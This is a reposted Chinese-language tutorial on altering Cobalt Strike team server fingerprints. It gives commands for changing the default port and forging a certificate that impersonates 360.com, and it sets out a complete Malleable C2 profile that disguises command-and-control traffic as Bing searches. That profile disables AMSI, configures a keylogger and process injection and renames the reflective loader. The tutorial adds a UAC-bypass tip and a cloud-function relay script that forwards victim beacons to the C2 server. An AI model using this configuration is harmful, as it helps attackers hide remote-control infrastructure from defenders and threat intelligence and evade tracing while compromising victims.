Cobalt Strike修改特征


1.什么是特征

特征 : 人或事物可供識別的特殊的象征或標志。cobalt strike(簡稱: cs)也有屬於自己的特征 , 比如默認開放的端口號是50050 , 自帶證書里面有cobalt strike字符等

2.為什么要修改特征

因為cs服務器如果默認特征不進行修改的話 , 很容易被搜索引擎或者威脅情報標記成木馬遠控服務器 , 以及進行一些特征的修改就算ip地址暴露了 , 也不能直接肯定這個ip是木馬遠控ip , 提高自身的隱藏性

3.如何修改特征

修改特征是針對cs服務端進行特征的修改 , 客戶端不需要修改

牢記 : cs服務器需要的時候再開啟 , 平常不需要的時候就關閉

3.1修改默認端口

進入cs的安裝目錄

vim teamserver

只需要修改最后一行的-Dcobaltstrike.server_port , 可以是80 , 443 , 3389 , 8080等常見端口 , 前提是該端口沒有被使用

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=8080 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=mhx666 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

補充 : 最好把-Djavax.net.ssl.keyStorePassword也修改了 , 默認ssl證書口令是 123456

3.2修改默認證書

查看默認證書

keytool -list -v -keystore cobaltstrike.store
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
輸入密鑰庫口令: 

# 默認口令是123456

生成偽造證書

keytool -keystore cobaltstrike_new.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Software, L=Somewhere, ST=Cyberspace, C=CN"

然后在teamserver中設置即可

-Djavax.net.ssl.keyStore=./cobaltstrike_new.store

雖然偽裝的證書可以欺騙fofa這類搜索引擎 , 但是畢竟是偽造的 , 使用ssl證書查詢工具是查詢不到頒發機構的 , 因為是我們自己生成的 , 真正的證書是證書簽發機構頒布的 , 騰訊雲購買域名就可以免費申請ssl證書 , 不過要實名備案 , 推薦Cloudflare , letsencrypt或各國外雲服務提供商不需要實名備案

使用頒發的ssl證書 , 推薦jks格式的證書 , 直接修改文件名 , 然后在teamserver中配置就可以了

mv server.jks serve.store

# 在teamserver中配置
-Djavax.net.ssl.keyStore=./serve.store

pem格式

openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456 keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com -src

pem--》p12--》store文件 , 然后在teamserver中配置

crt格式

keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store

然后在teamserver中配置

3.3配置profile文件

cs中默認是沒有profile文件的 , 需要自己配置 , 而且官網稱profile文件為Malleablec2 , 整個profile文件的配置就是進行流量上的偽裝 , 防溯源 , 把命令的下發和結果的回傳進行包裝 , 讓他從流量上看起來更像是在訪問網頁

profile文件的使用手冊 : https://www.cobaltstrike.com/downloads/csmanual44.pdf

基本語法

# this is a comment# 設置全局變量 , 和其他無關是cs自身的一些機制set global_option "value";# 協議的配置 , 如: http-get , https-post等protocol-transaction {	set local_option "value";	client {		# customize client indicators	}	server {		# customize server indicators	}}

實際上就是很簡單 , 就是set 和 一些協議上的配置

下面會以 cs4.4 bing.profile 文件為例來解釋其中的各個配置項的作用

全局變量

# CobaltStrike 4.4 + Test Profile## References:#   * https://www.cobaltstrike.com/help-malleable-c2#   * https://www.cobaltstrike.com/help-malleable-postex## Author: yuyuyu@666.com# Github: https://github.com#### Global Option Block# 設置全局變量sample_name , 值是當前文件名set sample_name "bing.profile";  # Profile name# 設置心跳包的時間 , 單位毫秒set sleeptime "30000";   # Sleep time for the beacon callback# set sleeptime "<60000>"; # 1  Minute , 默認的# 設置心跳包時間的波動范圍 30 +- 30*50% = 15 - 45set jitter "50"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter# 允許stagers和stage使用不同的協議set host_stage "true";  # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.# 設置全局的UA頭set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"; 

DNS beacon , 不經常使用 , 但是對於只有DNS協議出網的設備可以使用

dns-beacon {        # Options moved into 'dns-beacon' group in 4.4:        set dns_idle "114.114.114.114";       # 第一次dns查詢的地址        set dns_max_txt "192";                     # 最大查詢次數 , 255以下 , 能被4整除        set dns_sleep "1";                             # sleep時間        set dns_ttl "5";                                  # ttl值        set maxdns "200";                             # 最大dns服務轉接數量        set dns_stager_prepend "doc-stg-prepend";  # 使用dns協議的馬,pe頭追加的內容        set dns_stager_subhost "doc-stg-sh.";    # 子域名的查詢配置        # DNS subhost override options added in 4.4:        set beacon "doc.bc.";        set get_A "doc.1a.";        set get_AAAA "doc.4a.";        set get_TXT "doc.tx.";        set put_metadata "doc.md.";        set put_output "doc.po.";        set ns_response "zero";}

dns-beacon 可以設置一些PE文件的內容和自定義DNS查詢的一些規則

SMB和TCP , smb會在橫向滲透使用到

### SMB Beaconset pipename "win_svc";  # smb管道的名字set pipename_stager "win_svc2"; # smb stager管道的名字### TCP Beacon 監聽端口set tcp_port "1337"; # TCP beacon listen port 

http-config , 不單單是http實際上也是https的全局響應頭配置

http-config {    set headers "Server, Cache-Control, Connection, X-Powered-By";        # HTTP header     header "Server" "Microsoft-IIS/8.0";    header "Cache-Control" "max-age=1";    header "Connection" "keep-alive";    header "X-Powered-By" "ASP.NET";    # 不信任xff頭    set trust_x_forwarded_for "false";           # "true" if the team server is behind an HTTP redirector}

http-get (無縮進要求) , 命令的下發相當於是teamserver(cs服務端)向受害者發送一個get請求

http-get {    # 下發命令訪問的uri    set uri "/search/";    # 客戶端配置    client {	# 請求頭配置 格式 : header "頭字段" "值"        header "Host" "www.bing.com";        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";         # 元數據配置        metadata {            base64url;   # 進行base64編碼url            parameter "q";        }	# 參數配置        parameter "go" "Search";        parameter "qs" "bs";        parameter "form" "QBRE";    }    # 服務端配置    server {        # 響應頭配置        header "Cache-Control" "private, max-age=0";        header "Content-Type" "text/html; charset=utf-8";        header "Vary" "Accept-Encoding";        header "Server" "Microsoft-IIS/8.5";        header "Connection" "close";        # 輸出信息        output {            netbios; # 相當於網關地址            # 響應中html頁面頭部信息            prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";            # 響應中html頁面尾部信息            append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";            print;        }    }}

http-post 結果的回傳相當於受害者向teamserver發送一個post請求

http-post {        set uri "/Search/";    set verb "GET";       # 因為bing.com沒有post請求 , 所以用verb偽裝成get    client {        header "Host" "www.bing.com";        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";                 output {            base64url;            parameter "q";        }                parameter "go" "Search";        parameter "qs" "bs";        id {            base64url;            parameter "form";        }    }    server {        header "Cache-Control" "private, max-age=0";        header "Content-Type" "text/html; charset=utf-8";        header "Vary" "Accept-Encoding";        header "Server" "Microsoft-IIS/8.5";        header "Connection" "close";               output {            netbios;            prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";            append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";            print;        }    }}

http-stager 主要是偽裝一些js,css文件的請求 , 不要用已經被標記成特征的js,css文件

http-stager {	set uri_x86 "/jquery-3.3.1.slim.min.js"; # 我的就是這個js被識別了	set uri_x64 "/jquery-3.3.2.slim.min.js";    server {        header "Cache-Control" "private, max-age=0";        header "Content-Type" "text/html; charset=utf-8";        header "Vary" "Accept-Encoding";        header "Server" "Microsoft-IIS/8.5";        header "Connection" "close";	        output {        # output舍不舍都行                                                                                             prepend "user=";                          append ".asp";                            print;                                  }    }}

https-certificate ssl證書配置

https-certificate {    set keystore "cobaltstrike.store";    set password "666666";}https-certificate {    set CN       "us";  # 國家 , 組織 , 主題等 , 最好和ssl證書一致    set O        "us";       set C        "us";    set L        "us";    set OU       "us";      set ST       "us";    set validity "365";}

code-signer 使用ssl證書加密 ,設置了他 , 在生成木馬的時候可以選擇sign簽名

code-signer {    set keystore "server.jks";    set password "Tz8@CxnJcAN3DM^D";    set alias "server";  # 別名}

補充 : bypassuac , 拿到shell后 , 把木馬的簽名放到可信任中 , 然后以管理員身份運行就不會觸發uac了

stage , cs自帶的命令都是通過dll反射注入實現的 , stage就是關於這個的自定義

stage {	set checksum       "0";   # 校驗和	set image_size_x86 "559966";  # 鏡像值	set image_size_x64 "559966";         set entry_point    "38807";  # 入口點	 set rich_header    "\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00"; # 頭部        set userwx "false";   # 內存屬性 , 默認原本屬性        # set compile_time "14 Jul 2009 8:14:00";  # 編譯時長 , 但是當前格式不對        set image_size_x86 "512000";  # 鏡像值        set image_size_x64 "512000";        set obfuscate "true";  # 混淆        transform-x86 {        	prepend "\x90\x90"; # 頭部        	strrep "ReflectiveLoader" "DoLegitStuff"; # 字符串替換        }        transform-x64 {                prepend "\x90\x90";                strrep "ReflectiveLoader" "DoLegitStuff";        }        stringw "I am iron man";  # PE頭部添加的字符串}

post-ex 后滲透相關

post-ex {        # control the temporary process we spawn to        # 獲取system權限后 , 掛在的exe在哪個目錄下        set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";        set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";        # 混淆        set obfuscate "true";        # 命名管道        set pipename "msrpc_####, win\\msrpc_##";        # 自動線程注入 , 測試無效        set smartinject "true";        # 關閉amsi , 執行powershell命令不觸發amsi        set amsi_disable "true";         # options are: GetAsyncKeyState (def) or SetWindowsHookEx        # 設置鍵盤記錄使用的函數        set keylogger "GetAsyncKeyState";}

process-inject 進程注入

process-inject {        # set how memory is allocated in a remote process        # VirtualAllocEx or NtMapViewOfSection. The        # NtMapViewOfSection option is for same-architecture injection only.        # VirtualAllocEx is always used for cross-arch memory allocations.        set allocator "VirtualAllocEx";        # shape the memory characteristics and content        set min_alloc "16384";        set startrwx "true";        set userwx "false";        transform-x86 {        	prepend "\x90\x90"; #頭部追加        }        transform-x64 {        	# transform x64 injected content        }     # determine how to execute the injected code    execute {    	# 執行創建線程的函數            CreateThread "ntdll.dll!RtlUserThreadStart";            SetThreadContext;            RtlCreateUserThread;	}}

檢查profile文件是否可用

./c2lint [/path/to/my.profile]# 進行各種協議 如 smb , http , https的請求模擬 , 判斷是否可用 , 請求結束下面會有結果輸出 (黃色警告,紅色語法錯誤)

補充 : 很多公開的profile文件已經成為了cs的特征 , 最好自己改寫一下 , github搜索Malleablec2 可以參考其他開源作者的profile文件進行編寫

提一嘴cdn和雲函數 , cdn就是掛一個設置了cdn的域名 , 記住監聽的host設置成帶有cdn的域名

雲函數可以做數據請求的處理和轉發的功能 , 在c2隱藏上主要是用到轉發功能 , 監聽端口必須是80

受害者-->雲函數-->teamserver , 騰訊雲 雲函數的profile文件

set sleeptime "5000"; # 心跳包set jitter    "0"; # 波動范圍set maxdns    "255"; # 最大dns服務轉接數量set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";http-get {    set uri "/api/x";    client {        header "Accept" "*/*";        metadata {            base64;            prepend "SESSIONID=";            header "Cookie";        }    }    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Server" "nginx";        output {            base64;            print;        }    }}http-stager {      set uri_x86 "/vue.min.js";    set uri_x64 "/bootstrap-2.min.js";}http-post {    set uri "/api/y";    client {        header "Accept" "*/*";        id {            base64;            prepend "JSESSION=";            header "Cookie";        }        output {            base64;            print;        }    }    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Connection" "keep-alive";        output {            base64;            print;        }    }}

雲函數代碼

import json, requests, base64def main_handler(event, context):    C2 = 'http://x.x.x.x'  # 這里可以使用 HTTP、HTTPS~下角標~     path = event['path']    headers = event['headers']    print(event)    if event['httpMethod'] == 'GET':        resp = requests.get(C2 + path, headers=headers, verify=False)    else:        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)        print(resp.headers)        print(resp.content)    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),                "body": str(base64.b64encode(resp.content))[2:-1]}    return response


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM